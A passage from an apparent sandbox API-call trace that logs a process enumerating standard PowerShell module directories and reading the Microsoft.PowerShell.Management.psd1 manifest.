lpFilePart=0x0) returned 0x52 [0205.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.034] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0205.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0205.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.035] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0205.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0205.036] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0205.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.036] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0205.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0205.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.037] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.037] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0205.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0205.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.038] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0205.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0205.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.038] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0205.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.039] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0205.039] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0205.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.039] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.039] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0205.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0205.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.040] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0205.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0205.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0205.040] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0205.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0205.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0205.041] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0205.041] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0205.041] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0205.042] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.042] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0205.042] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0205.042] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0205.042] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0205.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0205.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0205.042] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0205.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0205.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0205.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0205.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0205.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e934) returned 1 [0205.043] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2583c04 | out: lpFileInformation=0x2583c04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0205.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e930) returned 1 [0205.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0205.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0205.044] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0205.044] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0205.044] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.044] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0205.044] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0205.045] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0205.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0205.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0205.045] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0205.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.045] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e934) returned 1 [0205.046] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25843c8 | out: lpFileInformation=0x25843c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0205.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e930) returned 1 [0205.046] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.046] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea9c) returned 1 [0205.047] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a4 [0205.047] GetFileType (hFile=0x3a4) returned 0x1 [0205.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea98) returned 1 [0205.047] GetFileType (hFile=0x3a4) returned 0x1 [0205.047] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ead8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ead8*=0) returned 0x0 [0205.048] ReadFile (in: hFile=0x3a4, lpBuffer=0x2585208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eb04, lpOverlapped=0x0 | out: lpBuffer=0x2585208*, lpNumberOfBytesRead=0x5a2eb04*=0x9e9, lpOverlapped=0x0) returned 1 [0205.048] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ead8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ead8*=0) 